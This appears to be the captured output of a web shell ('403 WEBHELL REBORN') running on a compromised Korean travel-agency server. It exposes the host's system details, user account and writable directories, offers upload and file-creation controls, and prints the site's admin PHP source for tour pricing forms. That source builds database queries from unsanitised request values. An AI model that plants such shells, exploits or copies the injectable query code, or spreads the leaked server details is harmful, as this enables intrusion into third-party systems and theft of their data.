ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/good_en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/good_en/ajaxGoodDatePrice.html
<?
include "../include/top_proc.html";

if(!$g_uid) exit;

// 상품정보
$data_good = good_list(" and g_uid='{$g_uid}' ");
$row_good = good_list_replace($data_good[0]);

if($d_uid) {
	// 수정
	$data_date = date_list($g_uid,"none"," and d_uid='{$d_uid}' ");
	$row = $data_date[0];
}else{
	// 최근 출발일 1개 가져옴.
	$data_date = date_list($g_uid,"",""," d_start desc ","1");
	$row = $data_date[0];
}

// 기타
$require_num_comma = " maxlength=\"10\" style=\"ime-mode:inactive;ime-mode:disabled;text-align:right\" onblur=\"this.value=comma(this.value)\" onKeyDown=\"ChkNum(this,event);\" ";
// 가격입력시에 콤마+숫자필수 style+스크립트
?>

<?php if($row_good['exchange_fg']=="Y"){?>
<div style="font-size:14px;font-weight:bold;border-bottom:2px solid #0066FF;width:400px;margin-bottom:10px;">◆ 기준환율 : 1<?=$row_good['ext_nm']?>(<?=$row_good['ext_eng']?>) → <?=$row_good['ext_to_krw']?>원(KRW) <span style="font-size:12px;font-weight: normal;">[<?=$row_good['ext_unit']?>원단위 <?=$row_good['ext_round2']?>]</span></div>
<?php }?>

<?
## 데이투어
if($row_good['tab']=="D"){
	## 단체투어
	if($row_good['gdt']=="gr") {
?>
		<table border="0" width="250px" cellspacing="0" cellpadding="0" class="setting_write" id="price_set_item">
			<thead>
			<tr>
				<th width="70px" class="help_tooltip" title="체크항목만 홈페이지에 노출됩니다.">구분</th>
				<th>판매가</th>
			</tr>
			</thead>
			<tbody>
			<tr>
				<td><input type="checkbox" name="d_disp_adult" value="Y" <?=($row['d_disp_adult']=="Y")?"checked":""?>>성인</td>
				<td class="txt_l">
					<input name="d_money1" type="text" size="16" value="<?=number_format($row['d_money1'])?>" class="input_text" hname="성인가" required <?=$require_num_comma?> />
					<span class="equal" fill="d_money">▽</span>
				</td>
			</tr>
			<tr>
				<td><input type="checkbox" name="d_disp_child" value="Y" <?=($row['d_disp_child']=="Y")?"checked":""?>>소인</td>
				<td><input name="d_money2" type="text" size="16" value="<?=number_format($row['d_money2'])?>" class="input_text d_money" <?=$require_num_comma?> /></td>
			</tr>
			<tr>
				<td><input type="checkbox" name="d_disp_baby" value="Y" <?=($row['d_disp_baby']=="Y")?"checked":""?>>유아</td>

				<td><input name="d_money3" type="text" size="16" value="<?=number_format($row['d_money3'])?>" class="input_text d_money"  <?=$require_num_comma?> /></td>
			</tr>
			<tr>
				<td><input type="checkbox" name="d_disp_infant" value="Y" <?=($row['d_disp_infant']=="Y")?"checked":""?>>영아</td>
				<td><input name="d_money7" type="text" size="16" value="<?=number_format($row['d_money7'])?>" class="input_text d_money" <?=$require_num_comma?> /></td>
			</tr>
			</tbody>
		</table>
		<script type="text/javascript">
		$(function(){
			$(".equal").css("cursor","pointer")
				.bind("click",function(){
					var price = $(this).siblings("input").val();
					var _m_fill = $(this).attr("fill");

					$("#price_set_item ."+_m_fill).val(price);
			});

		})
		</script>
<?
	}

	## 단독투어
	else{
?>
		<INPUT TYPE="hidden" NAME="d_disp_adult" value="Y">
		<table border="0" width="250px" cellspacing="0" cellpadding="0" class="setting_write" id="price_set_item">
			<thead>
			<tr>
				<th width="70px">구분</th>
				<th>판매가</th>
			</tr>
			</thead>
			<tbody>
			<tr>
				<td>1<span id="item_disp_pe_unit"> <?=($row['d_pe_people_unit']) ? $row['d_pe_people_unit']:"대"?></span></td>
				<td>
					<input name="d_money1" type="text" size="16" value="<?=number_format($row['d_money1'])?>" class="input_text" hname="판매가" required <?=$require_num_comma?> />
					<input type="hidden" name="d_money2" value="0">
					<input type="hidden" name="d_money3" value="0">
					<input type="hidden" name="d_money7" value="0">							
				</td>
			</tr>
			</tbody>
		</table>
<?
	}
}

## 패키지 투어
else{?>

		<table border="0" width="100%" cellspacing="0" cellpadding="0" class="setting_write2" id="price_set_item">
		<colgroup>
			<col style=" width:8%">
			<col style=" width:23%">
			<col style=" width:23%">
			<col style=" width:23%">
			<col style=" width:*">
			</colgroup>
			<thead>
			<tr>
				<th class="help_tooltip" title="체크항목만 홈페이지에 노출됩니다.">구분</th>
				<th>기본상품가</th>
				<th <?php if($row['tab']=="T"){?>style="display:none"<?php }?>>유류할증료</th>
				<th>총판매가</th>
				<?if($row_good['exchange_fg']=="Y"){?>
				<th class="help_tooltip" title="실제 판매는 원화(KRW)입니다.">총판매가(원.KRW)</th>
				<?}?>
			</tr>
			</thead>
			<tbody>
			<tr>
				<td><input type="checkbox" name="d_disp_adult" id="d_disp_adult" value="Y" <?=($row['d_disp_adult']=="Y")?"checked":""?>><label for="d_disp_adult">성인</label></td>
				<td class="txt_l">
					<input name="d_cost1" type="text" size="20" value="<?=number_format($row['d_cost1'])?>" class="input_text" hname="성인원가" required <?=$require_num_comma?> /><?=$row_good['ext_nm']?>
					<span class="equal" fill='d_cost'>▼</span>
				</td>
				<td class="txt_l" <?php if($row['tab']=="T"){?>style="display:none"<?php }?>>
					<input name="oil_money1" type="text" size="20" value="<?=number_format($row['oil_money1'])?>" class="input_text" <?=$require_num_comma?>/><?=$row_good['ext_nm']?> 
					<span class="equal" fill="oil_money">▼</span>
				</td>
				<td class="txt_l">
					<input name="d_money1" type="text" size="20" value="<?=number_format($row['d_money1'])?>" class="input_text" hname="성인가" required <?=$require_num_comma?> /><?=$row_good['ext_nm']?>
					<span class="equal" fill="d_money">▼</span>
				</td>
				<?if($row_good['exchange_fg']=="Y"){?>
				<td style="align:right;">	<span><?=number_format($row['adult_price'])?></span>원</td>
				<?}?>
			</tr>
			<tr>
				<td><input type="checkbox" name="d_disp_child" id="d_disp_child" value="Y" <?=($row['d_disp_child']=="Y")?"checked":""?>><label for="d_disp_child">소인</label></td>
				<td class="txt_l"><input name="d_cost2" type="text" size="20" value="<?=number_format($row['d_cost2'])?>" class="input_text d_cost"  <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>
				<td class="txt_l" <?php if($row['tab']=="T"){?>style="display:none"<?php }?>><input name="oil_money2" type="text" size="20" value="<?=number_format($row['oil_money2'])?>" class="input_text oil_money" <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>
				<td class="txt_l"><input name="d_money2" type="text" size="20" value="<?=number_format($row['d_money2'])?>" class="input_text d_money" <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>
				<?if($row_good['exchange_fg']=="Y"){?>
				<td style="align:right;">	<span><?=number_format($row['child_price'])?></span>원</td>
				<?}?>
			</tr>
			<tr>
				<td><input type="checkbox" name="d_disp_baby" id="d_disp_baby" value="Y" <?=($row['d_disp_baby']=="Y")?"checked":""?>><label for="d_disp_baby">유아</label></td>
				<td class="txt_l"><input name="d_cost3" type="text" size="20" value="<?=number_format($row['d_cost3'])?>" class="input_text d_cost" <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>
				<td class="txt_l" <?php if($row['tab']=="T"){?>style="display:none"<?php }?>><input name="oil_money3" type="text" size="20" value="<?=number_format($row['oil_money3'])?>" class="input_text oil_money"<?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>
				<td class="txt_l"><input name="d_money3" type="text" size="20" value="<?=number_format($row['d_money3'])?>" class="input_text d_money"  <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>
				<?if($row_good['exchange_fg']=="Y"){?>
				<td style="align:right;"><span><?=number_format($row['baby_price'])?></span>원</td>
				<?}?>
			</tr>
			<tr>
				<td><input type="checkbox" name="d_disp_infant" id="d_disp_infant" value="Y" <?=($row['d_disp_infant']=="Y")?"checked":""?>><label for="d_disp_infant">영아</label></td>
				<td class="txt_l"><input name="d_cost4" type="text" size="20" value="<?=number_format($row['d_cost4'])?>" class="input_text d_cost" <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>
				<td class="txt_l" <?php if($row['tab']=="T"){?>style="display:none"<?php }?>><input name="oil_money4" type="text" size="20" value="<?=number_format($row['oil_money4'])?>" class="input_text oil_money"<?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>
				<td class="txt_l"><input name="d_money7" type="text" size="20" value="<?=number_format($row['d_money7'])?>" class="input_text d_money" <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>
				<?if($row_good['exchange_fg']=="Y"){?>
				<td style="align:right;"><span><?=number_format($row['infant_price'])?></span>원</td>
				<?}?>
			</tr>
			</tbody>
		</table>
		<script type="text/javascript">
		$(function(){
			$(".equal").css("cursor","pointer")
				.bind("click",function(){
					var price = $(this).siblings("input").val();
					var _m_fill = $(this).attr("fill");

					$("#price_set_item ."+_m_fill).val(price);

					// 총판매가수정일 경우는 총판매가 계산 안함
					if(_m_fill != 'd_money') cal_d_money();
			});

			// 총판매가 계산
			$("#price_set_item > tbody input[type='text']").bind("blur",function(){
				if($(this).attr("name").indexOf('d_money')<0) cal_d_money();

				// 총판매가 수정후 환율계산(2016-12-26.허종)
				else if(exchange_fg=='Y') {
					var ex_money=0;
					var  d_money=0;

					d_money = $(this).val().replace(/,/g,'');
				
					ex_money = cal_exchange_money(d_money);

					$(this).parent().parent().find("td").last().find("span").html(number_format(ex_money.toString()));
				}
			});
		})
		</script>
<?}?>





Anon7 - 2021